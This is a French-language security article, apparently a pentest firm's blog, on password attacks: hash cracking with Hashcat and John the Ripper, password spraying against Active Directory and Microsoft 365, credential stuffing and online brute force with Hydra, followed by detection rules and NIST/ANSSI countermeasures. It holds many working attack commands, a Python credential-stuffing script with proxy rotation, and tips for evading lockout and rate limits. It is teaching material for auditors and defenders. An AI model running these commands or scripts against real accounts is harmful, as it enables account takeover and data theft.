1. Introduction : le mot de passe, maillon faible persistant
Malgré des décennies d'innovation en matière de sécurité informatique, le mot de passe demeure le mécanisme d'authentification le plus répandu au monde -- et le vecteur d'attaque le plus exploité par les adversaires. Selon le rapport Verizon Data Breach Investigations Report (DBIR) 2025, 81 % des violations de données impliquent des identifiants compromis, qu'ils aient été volés par phishing, réutilisés après une fuite, ou cassés par force brute.
Les attaques par mot de passe se déclinent en plusieurs familles distinctes, chacune reposant sur des hypothèses et des conditions d'exploitation différentes. Le cracking offline consiste à récupérer des empreintes cryptographiques (hashes) et à les inverser localement, sans aucune interaction avec le système cible. Le password spraying adopte une approche inverse : tester un nombre restreint de mots de passe courants contre un grand nombre de comptes, en respectant les seuils de verrouillage. Le credential stuffing exploite la réutilisation massive des mots de passe entre services en rejouant des couples identifiant/mot de passe issus de fuites antérieures. Enfin, le brute-force en ligne tente de deviner le mot de passe d'un compte précis en multipliant les tentatives sur un service exposé.
La compréhension de ces techniques est essentielle tant pour les professionnels de la sécurité offensive (pentesters, red teamers) que pour les défenseurs (blue teamers, SOC). Cet article propose un tour d'horizon complet et technique : des fondamentaux du hashing de mots de passe aux outils de cracking les plus performants, en passant par les méthodologies de spraying sur Active Directory et les contre-mesures modernes recommandées par le NIST et l'ANSSI. Chaque section est illustrée par des commandes concrètes, des benchmarks GPU actuels et des recommandations défensives directement applicables en environnement de production.
Avertissement légal
Les techniques présentées dans cet article sont destinées exclusivement à un usage éducatif et aux audits de sécurité autorisés. Toute utilisation de ces outils sans autorisation écrite du propriétaire du système constitue une infraction pénale (articles 323-1 à 323-8 du Code pénal français). Testez toujours dans un environnement lab ou avec un mandat de pentest signé.
2. Fondamentaux du hashing de mots de passe
2.1 Hashing vs chiffrement : une distinction cruciale
Avant de plonger dans les techniques d'attaque, il est indispensable de comprendre la différence fondamentale entre hashing et chiffrement. Le chiffrement est une opération réversible : avec la clé appropriée, le texte clair peut être intégralement retrouvé. Le hashing, en revanche, est une fonction à sens unique (one-way function). Une fonction de hachage prend une entrée de taille arbitraire et produit une sortie de taille fixe (l'empreinte ou digest). Il est théoriquement impossible de retrouver l'entrée à partir de la sortie -- c'est cette propriété que les attaquants cherchent à contourner.
Un bon algorithme de hachage de mots de passe doit posséder trois propriétés essentielles : la résistance à la pré-image (impossible de retrouver le message à partir du hash), la résistance aux collisions (impossible de trouver deux messages produisant le même hash) et un coût computationnel élevé (lenteur délibérée pour ralentir le brute-force).
2.2 Algorithmes courants et leurs faiblesses
| Algorithme | Longueur | Salé | Itératif | Usage courant | Sécurité |
|---|---|---|---|---|---|
MD5 | 128 bits | Non | Non | Legacy, checksums | Cassé |
SHA-1 | 160 bits | Non | Non | Signatures anciennes | Cassé |
SHA-256 | 256 bits | Non | Non | Intégrité fichiers | Inadapté (trop rapide) |
NTLM | 128 bits | Non | Non | Windows/AD | Critique |
NetNTLMv2 | Variable | Challenge | Non | Auth réseau Windows | Vulnérable |
bcrypt | 184 bits | Oui | Oui (cost) | Applications web | Recommandé |
scrypt | Variable | Oui | Oui (memory-hard) | Crypto, apps | Recommandé |
Argon2id | Variable | Oui | Oui (memory+CPU) | Standard moderne | Optimal |
2.3 Le rôle essentiel du sel (salt)
Le salage consiste à concaténer une valeur aléatoire unique (le sel) au mot de passe avant de le hacher. Sans sel, deux utilisateurs partageant le même mot de passe produisent le même hash, ce qui permet des attaques par tables pré-calculées (rainbow tables). Avec un sel unique par utilisateur, chaque hash est différent, même pour des mots de passe identiques. L'algorithme NTLM utilisé par Active Directory ne salant pas les empreintes, il est particulièrement vulnérable au cracking offline -- un point développé en détail dans notre article sur l'exploitation Kerberos dans Active Directory.
2.4 Formats de hash rencontrés en pentest
Lors d'un audit, les pentesteurs récupèrent des hashes dans des formats très variés. Voici les plus courants :
# NTLM (Windows SAM / Active Directory)
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# NetNTLMv2 (capturé via Responder / NTLM relay)
admin::CORP:1122334455667788:A1B2C3D4E5F6...:0101000000000000...
# Kerberos 5 TGS-REP (Kerberoasting) - mode 13100
$krb5tgs$23$*user$realm$spn*$hash...
# bcrypt ($2a$ / $2b$ / $2y$)
$2a$12$LJ3m4ys3KlG/SslRuG3E4euOLlKRWJQOcC2p/N5YxDT.jxPkR.S.m
# SHA-512 Linux /etc/shadow ($6$)
$6$rounds=5000$saltsalt$hashvalue...
# Kerberos AS-REP (AS-REP Roasting) - mode 18200
$krb5asrep$23$user@DOMAIN:hash...
L'identification du type de hash est la première étape avant toute tentative de cracking. Des outils comme hashid et haiti automatisent cette reconnaissance :
# Identification avec hashid
$ hashid '5f4dcc3b5aa765d61d8327deb882cf99'
Analyzing '5f4dcc3b5aa765d61d8327deb882cf99'
[+] MD5
[+] MD4
[+] Double MD5
# Identification avec haiti (plus précis, inclut mode Hashcat)
$ haiti '$2a$12$LJ3m4ys3...'
bcrypt $2*$, Blowfish (Unix) [HC: 3200] [JtR: bcrypt]
3. Password cracking offline
Le cracking offline est la technique reine des audits de mots de passe. Après extraction des hashes (via secretsdump.py, mimikatz, SAM dump, export NTDS.dit, NTLM relay ou Kerberoasting), l'attaquant travaille localement sur sa propre machine, sans générer de trafic réseau ni risquer de verrouillage de compte. La vitesse de cracking dépend alors essentiellement de la puissance de calcul disponible et de l'algorithme de hachage ciblé.
3.1 Hashcat : le standard de l'industrie
Hashcat est l'outil de cracking le plus performant disponible, exploitant pleinement les GPU modernes (CUDA pour NVIDIA, OpenCL pour AMD). Il supporte plus de 350 types de hash et propose plusieurs modes d'attaque :
Modes d'attaque Hashcat
| Mode | Flag | Description | Cas d'usage |
|---|---|---|---|
| Dictionary | -a 0 | Teste chaque mot d'un dictionnaire | Premier passage rapide |
| Combinator | -a 1 | Combine deux dictionnaires | Mots composés (soleil+2024) |
| Brute-force / Mask | -a 3 | Génère selon un masque de caractères | Patterns connus (Mot2Passe!) |
| Hybrid dict+mask | -a 6 | Dictionnaire + suffixe masque | password + ?d?d?d?d |
| Hybrid mask+dict | -a 7 | Préfixe masque + dictionnaire | ?u?u?u + dictionary |
| Rule-based | -a 0 -r | Applique des mutations aux mots | Substitutions, casse, ajouts |
Exemples concrets de commandes Hashcat :
# Attaque dictionnaire sur des hashes NTLM (mode 1000)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
# Attaque par masque : 8 caractères, majuscule + minuscules + chiffre + spécial
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?d?s
# Attaque hybride : mot du dictionnaire + 4 chiffres
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?d
# Attaque avec règles avancées (best64)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r rules/best64.rule
# Kerberoasting (TGS-REP etype 23) avec règles
hashcat -m 13100 -a 0 kerberoast.txt wordlist.txt -r rules/dive.rule
# Cracking bcrypt (très lent même sur GPU)
hashcat -m 3200 -a 0 bcrypt_hashes.txt rockyou.txt
Charsets et masques personnalisés
Hashcat permet de définir des jeux de caractères personnalisés pour cibler des politiques de mots de passe spécifiques :
# Définir un charset personnalisé : lettres FR avec accents
hashcat -m 1000 -a 3 --custom-charset1 'aàâäeéèêëiïoôuùûüyÿcç' hashes.txt ?1?1?1?1?1?1?1?1
# Masque pour politique "1 maj + 6 min + 2 chiffres"
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d
3.2 John the Ripper (Jumbo)
John the Ripper (version Jumbo community-enhanced) reste un outil incontournable, notamment pour ses capacités de détection automatique de format et son système de règles puissant. Contrairement à Hashcat, John fonctionne efficacement sur CPU, ce qui le rend utile sur des machines sans GPU dédié :
# Cracking automatique (détection de format)
john --wordlist=rockyou.txt hashes.txt
# Forcer le format NTLM
john --format=NT --wordlist=rockyou.txt ntlm_hashes.txt
# Utiliser les règles Jumbo
john --wordlist=rockyou.txt --rules=Jumbo hashes.txt
# Mode incrémental (brute-force pur)
john --incremental=Alnum hashes.txt
# Afficher les mots de passe cassés
john --show hashes.txt
# Extraire les hashes depuis /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john --wordlist=rockyou.txt combined.txt
3.3 Benchmarks GPU : la puissance des cartes modernes
La vitesse de cracking varie de plusieurs ordres de grandeur selon l'algorithme. Voici des benchmarks réalistes pour une NVIDIA RTX 4090 (la carte grand public la plus puissante en 2026) :
Ces chiffres illustrent pourquoi le choix de l'algorithme est déterminant. Un mot de passe de 8 caractères protégé par MD5 est crackable en quelques secondes, tandis que le même mot de passe protégé par Argon2id nécessiterait des siècles avec le même matériel. Le cloud computing amplifie encore la menace : des services comme AWS p4d.24xlarge (8x A100) ou des clusters de GPU cloud permettent d'atteindre des vitesses plusieurs ordres de grandeur supérieures pour quelques centaines de dollars.
3.4 Rainbow tables
Les rainbow tables sont des tables pré-calculées qui stockent des correspondances entre des hashes et leurs mots de passe en clair. Elles permettent un cracking quasi instantané en échangeant du temps de calcul contre de l'espace disque. L'outil RainbowCrack permet de générer et d'exploiter ces tables :
# Génération d'une rainbow table NTLM
rtgen ntlm loweralpha-numeric 1 8 0 3800 33554432 0
# Tri de la table
rtsort *.rt
# Recherche dans la table
rcrack /path/to/tables/ -h aad3b435b51404eeaad3b435b51404ee
Cependant, les rainbow tables sont totalement inefficaces contre les algorithmes salés (bcrypt, scrypt, Argon2), car chaque sel unique nécessiterait sa propre table complète. C'est pourquoi le salage est une contre-mesure fondamentale. Les tables pour NTLM et LM restent néanmoins très pertinentes car ces algorithmes n'utilisent pas de sel.
3.5 Wordlists et génération personnalisée
La qualité de la wordlist est souvent plus déterminante que la puissance brute du GPU. Les sources de wordlists les plus utilisées :
- rockyou.txt : 14 millions de mots de passe issus de la fuite RockYou (2009). Classique incontournable, mais limité.
- SecLists (Daniel Miessler) : collection organisée de wordlists, patterns et payloads. Les fichiers
Passwords/Common-Credentials/sont particulièrement utiles. - CeWL (Custom Word List generator) : crawle un site web pour générer une wordlist contextualisée à partir du contenu. Idéal pour cibler une organisation spécifique.
- CUPP (Common User Passwords Profiler) : génère des candidats basés sur des informations personnelles de la cible (prénom, date de naissance, nom de l'entreprise, etc.).
# CeWL : générer une wordlist depuis le site de la cible
cewl https://www.cible.fr -d 3 -m 6 -w cible_wordlist.txt
# CUPP : profilage interactif
cupp -i
# Entrer : prénom, nom, date de naissance, nom du conjoint, etc.
# Combiner et dédupliquer
cat rockyou.txt cible_wordlist.txt cupp_output.txt | sort -u > combined.txt
3.6 Rules avancées : l'art de la mutation
Les règles (rules) sont le secret d'un cracking efficace. Elles appliquent des transformations systématiques à chaque mot du dictionnaire pour reproduire les habitudes des utilisateurs :
| Règle | Transformation | Exemple (password) |
|---|---|---|
c | Capitalize | Password |
$1 | Ajouter 1 à la fin | password1 |
$! | Ajouter ! à la fin | password! |
sa@ | Remplacer a par @ | p@ssword |
se3 | Remplacer e par 3 | password (pas de e ici) |
so0 | Remplacer o par 0 | passw0rd |
c $1 $! | Combinaison | Password1! |
Les fichiers de règles les plus efficaces :
- best64.rule : 64 règles les plus productives. Excellent ratio temps/résultat.
- dive.rule : ~99 000 règles. Couverture très large, mais plus lent.
- OneRuleToRuleThemAll (NotSoSecure) : compilation optimisée des meilleures règles issues de compétitions de cracking. Souvent considéré comme le meilleur compromis performance/couverture.
# Appliquer OneRuleToRuleThemAll
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Chaîner plusieurs fichiers de règles
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r toggles1.rule
4. Password spraying : l'attaque à bas bruit
Le password spraying est l'inverse logique du brute-force classique. Au lieu de tester N mots de passe contre 1 compte (ce qui déclenche rapidement le verrouillage), l'attaquant teste 1 mot de passe contre N comptes, puis passe au mot de passe suivant après avoir respecté la fenêtre de réinitialisation du compteur de tentatives. Cette approche est particulièrement redoutable contre les environnements Active Directory, où les politiques de verrouillage standards autorisent généralement 3 à 5 tentatives échouées avant blocage avec une fenêtre de réinitialisation de 30 minutes.
4.1 Principes et méthodologie
Le succès du spraying repose sur une réalité statistique implacable : dans toute organisation de taille significative, une proportion non négligeable d'utilisateurs choisit des mots de passe faibles et prévisibles. Les mots de passe les plus fréquemment découverts lors de spraying suivent des patterns reconnaissables :
- Nom de l'entreprise + année :
Entreprise2026!,Corp2025 - Saison + année :
Hiver2026!,Ete2025!,Printemps2026 - Mots de passe par défaut :
Welcome1!,Password123,Changeme1! - Patterns clavier :
Azerty123!,Qwerty2026 - Conformité minimale à la politique : exactement 8 caractères, une majuscule, un chiffre, un spécial à la fin
4.2 Spraying Active Directory
Plusieurs outils spécialisés ciblent les environnements AD. Avant de commencer, il est essentiel de récupérer la politique de mots de passe du domaine pour calibrer l'attaque :
# Récupérer la politique de mots de passe du domaine
crackmapexec smb dc01.corp.local -u user -p 'Password' --pass-pol
# Résultat : lockoutThreshold=5, lockoutObservationWindow=30min, lockoutDuration=30min
# Énumérer les utilisateurs du domaine
crackmapexec smb dc01.corp.local -u user -p 'Password' --users > users.txt
# Alternative : kerbrute pour énumération sans authentification
kerbrute userenum --dc dc01.corp.local -d corp.local usernames.txt
Outils de spraying AD
# CrackMapExec (CME / NetExec) - spraying SMB
crackmapexec smb dc01.corp.local -u users.txt -p 'Hiver2026!' --continue-on-success
# Spray (Python) - timing intégré
spray.sh -smb dc01.corp.local users.txt passwords.txt 1 35
# DomainPasswordSpray (PowerShell) - depuis une machine jointe au domaine
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password "Hiver2026!" -OutFile sprayed.txt
# Kerbrute - spraying Kerberos (plus furtif, pas de log SMB)
kerbrute passwordspray --dc dc01.corp.local -d corp.local users.txt "Hiver2026!"
# Ruler - spraying OWA/Exchange
ruler --domain corp.com brute --users users.txt --passwords passwords.txt
Attention au timing
Si la politique de verrouillage est de 5 tentatives sur 30 minutes, ne testez jamais plus de 2 mots de passe par fenêtre (marge de sécurité pour les tentatives échouées normales des utilisateurs). Un spraying trop agressif peut verrouiller des centaines de comptes simultanément, ce qui est à la fois détectable et perturbateur.
4.3 Spraying cloud : Microsoft 365 / Entra ID
Le spraying ne se limite pas aux environnements on-premise. Les services cloud sont des cibles de choix car ils sont accessibles depuis Internet sans VPN. Pour les environnements Microsoft 365 et Azure AD (Entra ID), plusieurs vecteurs sont exploitables :
# MSOLSpray - spraying Microsoft Online (Entra ID)
Invoke-MSOLSpray -UserList users.txt -Password "Printemps2026!" -Url "https://login.microsoftonline.com"
# Trevorspray - spraying intelligent avec rotation de source IP
trevorspray -u users.txt -p 'Hiver2026!' --url https://login.microsoftonline.com
# Spray AWS IAM
aws iam simulate-custom-policy ...
# Note : AWS n'a pas de mécanisme de lockout standard sur IAM
Les services cloud exposent également des endpoints d'authentification spécifiques qui peuvent être utilisés pour le spraying tout en contournant certaines protections. L'endpoint AutoDiscover d'Exchange Online, les flux ROPC (Resource Owner Password Credential) et les anciennes méthodes d'authentification legacy (IMAP, POP3, SMTP AUTH) sont souvent moins protégés que le portail web principal. Les attaques sur les Identity Providers décrivent en détail ces vecteurs d'authentification alternatifs.
4.4 Contournement des protections
Les attaquants sophistiqués emploient plusieurs techniques pour éviter la détection lors du spraying :
- Rotation d'IP source : utilisation de proxies résidentiels, VPN rotatifs, ou services cloud avec IP dynamiques pour contourner les blocages basés sur l'adresse IP.
- Rotation de User-Agent : variation des headers HTTP pour imiter différents clients légitimes.
- Timing adaptatif : espacement aléatoire entre les tentatives, respect des fenêtres d'observation, spraying uniquement pendant les heures ouvrables (pour se fondre dans le trafic légitime).
- Ciblage sélectif : focus sur les comptes de service (souvent exclus des politiques de lockout) et les comptes avec des SPN (Service Principal Names) qui tendent à avoir des mots de passe plus faibles.
- Protocoles alternatifs : utiliser LDAP, Kerberos ou IMAP au lieu de SMB pour éviter certaines règles de détection.
4.5 Détection du spraying
Les défenseurs peuvent détecter le password spraying en surveillant les événements Windows suivants :
| Event ID | Source | Description | Indicateur |
|---|---|---|---|
4625 | Security | Échec de connexion | Même source IP, multiples comptes |
4771 | Security | Échec pré-authentification Kerberos | Code 0x18 (mauvais mot de passe) |
4776 | Security | Validation credentials NTLM | Status 0xC000006A |
8004 | NTLM | Audit NTLM (si activé) | Volume anormal de requêtes |
# Requête KQL (Microsoft Sentinel) pour détecter le spraying
SecurityEvent
| where EventID == 4625
| summarize FailedAttempts=count(), DistinctAccounts=dcount(TargetAccount) by IpAddress, bin(TimeGenerated, 30m)
| where DistinctAccounts > 10 and FailedAttempts > 20
5. Credential stuffing : l'industrialisation de la réutilisation
Le credential stuffing exploite un comportement humain omniprésent : la réutilisation des mots de passe entre plusieurs services. Selon une étude Google/Harris Poll, 65 % des internautes réutilisent le même mot de passe sur plusieurs sites. Lorsqu'un service subit une fuite de données, les couples email/mot de passe exposés deviennent immédiatement exploitables sur tous les autres services où l'utilisateur a réutilisé ses identifiants.
L'échelle du problème est vertigineuse : on estime que plus de 15 milliards de credentials circulent sur les forums underground et les marchés du dark web, issus de fuites majeures comme LinkedIn (2012/2016, 164 millions), Yahoo (2013, 3 milliards), Dropbox (2012, 68 millions), Collection #1-5 (2019, 2,2 milliards de records uniques) et bien d'autres. Les attaquants n'ont même pas besoin de cracker quoi que ce soit : les mots de passe sont déjà en clair ou facilement déchiffrables.
5.1 Outils de credential stuffing
L'écosystème d'outils de credential stuffing est vaste, allant de solutions commercialisées sur le dark web à des scripts personnalisés :
- Sentry MBA : outil historique avec interface graphique, supporte des "configs" personnalisées par site cible. Très populaire mais de plus en plus détecté.
- OpenBullet : successeur open-source de Sentry MBA, modulaire et extensible. Supporte les configurations Loli (scripts de parsing de réponse HTTP).
- Scripts Python personnalisés : avec les bibliothèques
requests,aiohttp(asynchrone) etselenium(pour les sites avec JavaScript), des scripts sur mesure peuvent être développés pour cibler n'importe quel formulaire d'authentification.
# Exemple simplifié de credential stuffing en Python (à des fins éducatives)
import asyncio, aiohttp
async def try_login(session, email, password, proxy):
data = {"email": email, "password": password}
async with session.post(
"https://target.com/api/login",
json=data,
proxy=proxy,
timeout=aiohttp.ClientTimeout(total=10)
) as resp:
if resp.status == 200:
result = await resp.json()
if result.get("success"):
print(f"[+] VALID: {email}:{password}")
return (email, password)
return None
5.2 Cibles privilégiées
Les attaquants ciblent en priorité les services à forte valeur ajoutée :
- E-commerce : cartes bancaires enregistrées, points de fidélité, adresses de livraison
- Services bancaires : virements, consultation de solde, prélèvements
- SaaS professionnels : accès aux données d'entreprise, emails, documents confidentiels
- Gaming / Streaming : comptes premium, items virtuels, abonnements
- Réseaux sociaux : usurpation d'identité, diffusion de campagnes de phishing
6. Brute-force en ligne : les protocoles sous pression
Le brute-force en ligne consiste à tester des combinaisons d'identifiants directement contre un service d'authentification réseau. Contrairement au cracking offline, cette approche est limitée par la latence réseau, les mécanismes de rate limiting et les politiques de verrouillage. Elle reste néanmoins efficace contre des services mal configurés ou des protocoles dépourvus de protections intrinsèques.
6.1 Hydra : le couteau suisse du brute-force réseau
THC-Hydra est l'outil le plus polyvalent pour le brute-force en ligne, supportant plus de 50 protocoles. Son architecture parallèle permet de maintenir un débit élevé tout en respectant des limites de concurrence configurable :
# SSH brute-force
hydra -L users.txt -P passwords.txt ssh://192.168.1.100 -t 4
# RDP brute-force (attention : très lent en raison du handshake TLS)
hydra -L users.txt -P passwords.txt rdp://192.168.1.100 -t 1
# FTP brute-force
hydra -l admin -P passwords.txt ftp://192.168.1.100 -t 8
# HTTP POST form (login web)
hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form \
"/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 10
# SMB brute-force
hydra -L users.txt -P passwords.txt smb://192.168.1.100
# IMAP brute-force
hydra -L users.txt -P passwords.txt imap://mail.target.com -t 3
6.2 Medusa et Ncrack
Medusa offre une alternative à Hydra avec une architecture modulaire et des performances parfois supérieures sur certains protocoles. Ncrack (de l'équipe Nmap) excelle sur les protocoles de bureau à distance (RDP, VNC) et propose un mode de timing adaptatif inspiré de Nmap :
# Medusa - brute-force SSH avec throttling
medusa -H hosts.txt -U users.txt -P passwords.txt -M ssh -t 3 -T 5
# Ncrack - RDP avec timing adaptatif
ncrack -vv --user admin -P passwords.txt rdp://192.168.1.100 -T3
# Ncrack - SSH avec timing prudent
ncrack -vv -U users.txt -P passwords.txt ssh://192.168.1.100 -T2
6.3 Combinaison CeWL + Hydra : attaque contextualisée
Une approche particulièrement efficace combine la génération de wordlists contextualisées avec CeWL et le brute-force ciblé avec Hydra. En crawlant le site web de la cible, on extrait des termes spécifiques à l'organisation (noms de produits, termes métier, localisation) qui constituent d'excellents candidats pour des mots de passe :
# Étape 1 : Générer la wordlist contextualisée
cewl https://www.cible.fr -d 3 -m 5 -w cible_words.txt
cewl https://intranet.cible.fr -d 2 -m 5 -a -w cible_intranet.txt
# Étape 2 : Enrichir avec des mutations communes
# (ajout de chiffres, caractères spéciaux, casse)
hashcat --stdout cible_words.txt -r best64.rule > cible_mutated.txt
# Étape 3 : Lancer le brute-force sur le VPN ou l'OWA
hydra -L users.txt -P cible_mutated.txt https-post-form://mail.cible.fr \
"/owa/auth.owa:destination=https%3A%2F%2Fmail.cible.fr%2Fowa%2F&flags=4&forcedownlevel=0&username=CIBLE%5C^USER^&password=^PASS^:F=logon.asp" -t 2
6.4 Rate limiting et bypass
Les services modernes implémentent des mécanismes de rate limiting pour contrer le brute-force en ligne. Les techniques de contournement incluent :
- Rotation d'IP : si le rate limiting est basé sur l'IP source, la rotation via proxies résidentiels ou TOR le rend inefficace.
- Header manipulation : certaines implémentations naïves se fient aux headers
X-Forwarded-ForouX-Real-IPqui peuvent être forgés. - Variation de User-Agent : changer le User-Agent entre chaque requête pour contourner les détections basées sur les fingerprints client.
- Endpoints alternatifs : les API mobiles ou les endpoints legacy du même service ont souvent des protections moins robustes que le portail web principal.
- Timing lent : espacer les tentatives de 30 à 60 secondes pour rester sous le seuil de détection, au prix d'un temps d'attaque plus long.
7. Contre-mesures et politiques de mots de passe
La défense contre les attaques par mot de passe repose sur une approche multicouche combinant des politiques robustes, des technologies d'authentification forte et une surveillance continue. Aucune mesure isolée n'est suffisante ; c'est la combinaison de plusieurs contrôles qui rend ces attaques impraticables.
7.1 Authentification multi-facteurs (MFA)
Le MFA est la contre-mesure la plus efficace contre toutes les formes d'attaques par mot de passe. Même si le mot de passe est compromis, l'attaquant ne peut pas s'authentifier sans le second facteur. Cependant, tous les facteurs ne se valent pas :
| Type de MFA | Résistance au phishing | Résistance au credential stuffing | Recommandation |
|---|---|---|---|
| SMS OTP | Faible (SIM swap, SS7) | Bonne | Acceptable (mieux que rien) |
| TOTP (Google Auth) | Moyenne (phishable) | Bonne | Recommandé |
| Push notification | Moyenne (fatigue MFA) | Bonne | Avec number matching |
| FIDO2 / WebAuthn | Excellente | Excellente | Optimal |
| Passkeys | Excellente | Excellente | Futur standard |
Pour une analyse approfondie des vulnérabilités des mécanismes d'authentification forte, consultez notre article sur le bypass de FIDO2 et des Passkeys.
7.2 Politiques de mots de passe : NIST vs ANSSI
Les recommandations du NIST SP 800-63B (2023 update) ont radicalement changé la façon dont les mots de passe doivent être gérés :
Recommandations NIST SP 800-63B
- Longueur minimale : 8 caractères (15+ recommandé), maximum au moins 64 caractères
- Pas de rotation forcée : le changement périodique obligatoire est supprimé (il engendre des mots de passe plus faibles)
- Pas de règles de complexité arbitraires : exiger "1 majuscule + 1 chiffre + 1 spécial" pousse les utilisateurs vers des patterns prévisibles (Password1!)
- Blocklist de mots de passe : vérifier que le mot de passe choisi ne figure pas dans une liste de mots de passe connus compromis
- Pas d'indices de mot de passe : les "security questions" sont éliminées
- Accepter tous les caractères : Unicode, espaces, emojis -- encourager les passphrases longues
Les recommandations ANSSI (guide 2024) s'alignent largement sur le NIST tout en ajoutant des spécificités françaises : longueur minimale de 12 caractères pour les comptes standards, 16 pour les comptes à privilèges, et encouragement fort au déploiement de MFA phishing-resistant (FIDO2) pour tous les comptes d'administration.
7.3 Algorithmes de hachage modernes
Côté serveur, le choix de l'algorithme de hachage est déterminant. Argon2id, vainqueur du Password Hashing Competition (2015), est le standard recommandé. Il est à la fois memory-hard (résistant aux attaques GPU) et time-hard (coûteux en CPU) :
# Configuration Argon2id recommandée (OWASP 2024)
# m=19456 (19 MiB), t=2 (2 itérations), p=1 (1 thread)
from argon2 import PasswordHasher
ph = PasswordHasher(
time_cost=2,
memory_cost=19456,
parallelism=1,
hash_len=32,
type=argon2.Type.ID
)
hash = ph.hash("mon_mot_de_passe_complexe")
# Pour les systèmes à forte charge, un compromis acceptable :
# m=12288 (12 MiB), t=3, p=1
7.4 Détection proactive des fuites
L'intégration de l'API Have I Been Pwned (HIBP) dans le processus d'enregistrement et de changement de mot de passe permet de rejeter automatiquement les mots de passe connus compromis. L'API utilise un modèle k-Anonymity qui préserve la confidentialité : seuls les 5 premiers caractères du hash SHA-1 du mot de passe sont envoyés au serveur :
# Vérification HIBP via API (k-Anonymity)
import hashlib, requests
def is_pwned(password):
sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
resp = requests.get(f"https://api.pwnedpasswords.com/range/{prefix}")
return suffix in resp.text
# Intégration dans Entra ID : Azure AD Password Protection
# Vérifie contre une liste de 2000+ mots de passe bannis globaux + liste personnalisée
7.5 Monitoring et détection du spraying
La détection repose sur la corrélation d'événements dans le SIEM. Les règles suivantes sont essentielles :
# Règle Sigma pour détection de password spraying
title: Password Spraying Detection
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4625
- 4771
timeframe: 30m
condition: selection | count(TargetUserName) by IpAddress > 10
level: high
tags:
- attack.credential_access
- attack.t1110.003
Les Event IDs clés à surveiller :
- 4625 : échec d'ouverture de session (corrélation par IP source et par compte cible)
- 4771 : échec de pré-authentification Kerberos (code d'erreur 0x18 = mauvais mot de passe)
- 4776 : tentative de validation des credentials (NTLM)
- 4624 après série de 4625 : succès après multiples échecs = probable spraying réussi (alerte critique)
Checklist défensive complète
- Déployer MFA phishing-resistant (FIDO2/WebAuthn) sur tous les comptes à privilèges
- Appliquer les recommandations NIST 800-63B (longueur > complexité, blocklist, pas de rotation forcée)
- Utiliser Argon2id ou bcrypt (cost ≥ 12) pour le hachage côté serveur
- Intégrer HIBP API pour vérifier les mots de passe contre les fuites connues
- Configurer un smart lockout progressif (pas de lockout complet au-delà de l'observation window)
- Surveiller les Event IDs 4625, 4771, 4776 avec corrélation temporelle
- Désactiver les protocoles d'authentification legacy (NTLM v1, basic auth, POP3/IMAP sans MFA)
- Former les utilisateurs aux passphrases et aux password managers
- Monitorer le dark web pour les fuites de credentials de votre organisation
- Auditer régulièrement la force des mots de passe AD avec des outils comme DSInternals ou Kerberoasting contrôlé
8. Conclusion
Les attaques par mot de passe restent en 2026 l'un des vecteurs d'intrusion les plus prolifiques, malgré des décennies de sensibilisation et l'émergence de technologies d'authentification alternatives. Cette persistance s'explique par la convergence de plusieurs facteurs : l'ubiquité des mots de passe comme mécanisme d'authentification par défaut, la tendance humaine à choisir des mots de passe faibles et à les réutiliser, et la puissance de calcul toujours croissante accessible aux attaquants via les GPU modernes et le cloud computing.
La défense efficace repose sur une approche multicouche où chaque contrôle compense les faiblesses des autres. Le MFA phishing-resistant (FIDO2, Passkeys) élimine le risque lié aux mots de passe compromis. Les politiques alignées sur le NIST 800-63B favorisent des mots de passe réellement robustes plutôt que conformes à des règles artificielles. Les algorithmes modernes comme Argon2id rendent le cracking offline impraticable. La détection proactive des fuites via HIBP et le monitoring des Event IDs Windows permettent une réponse rapide aux tentatives de spraying et de credential stuffing.
La direction est claire : l'avenir de l'authentification est passwordless. Les Passkeys, soutenues par Apple, Google et Microsoft via l'Alliance FIDO, promettent un monde où le mot de passe n'est plus qu'un facteur de secours. En attendant cette transition, la maîtrise des techniques d'attaque décrites dans cet article reste indispensable pour auditer et renforcer les systèmes existants.
Évaluez la résistance de vos mots de passe
Nos experts réalisent des audits de mots de passe Active Directory complets : extraction, cracking contrôlé, analyse statistique et recommandations personnalisées.
Demander un audit de mots de passeRéférences et ressources externes
- NIST SP 800-63B — Digital Identity Guidelines : Authentication and Lifecycle Management
- Hashcat — Advanced Password Recovery - The world's fastest and most advanced password recovery utility
- John the Ripper — Open Source Password Security Auditing and Password Recovery Tool
- Have I Been Pwned API — Vérification de mots de passe compromis avec k-Anonymity
- MITRE ATT&CK T1110 — Brute Force (techniques T1110.001 à T1110.004)
- ANSSI - Recommandations MFA et mots de passe — Guide de l'Agence nationale de la sécurité des systèmes d'information
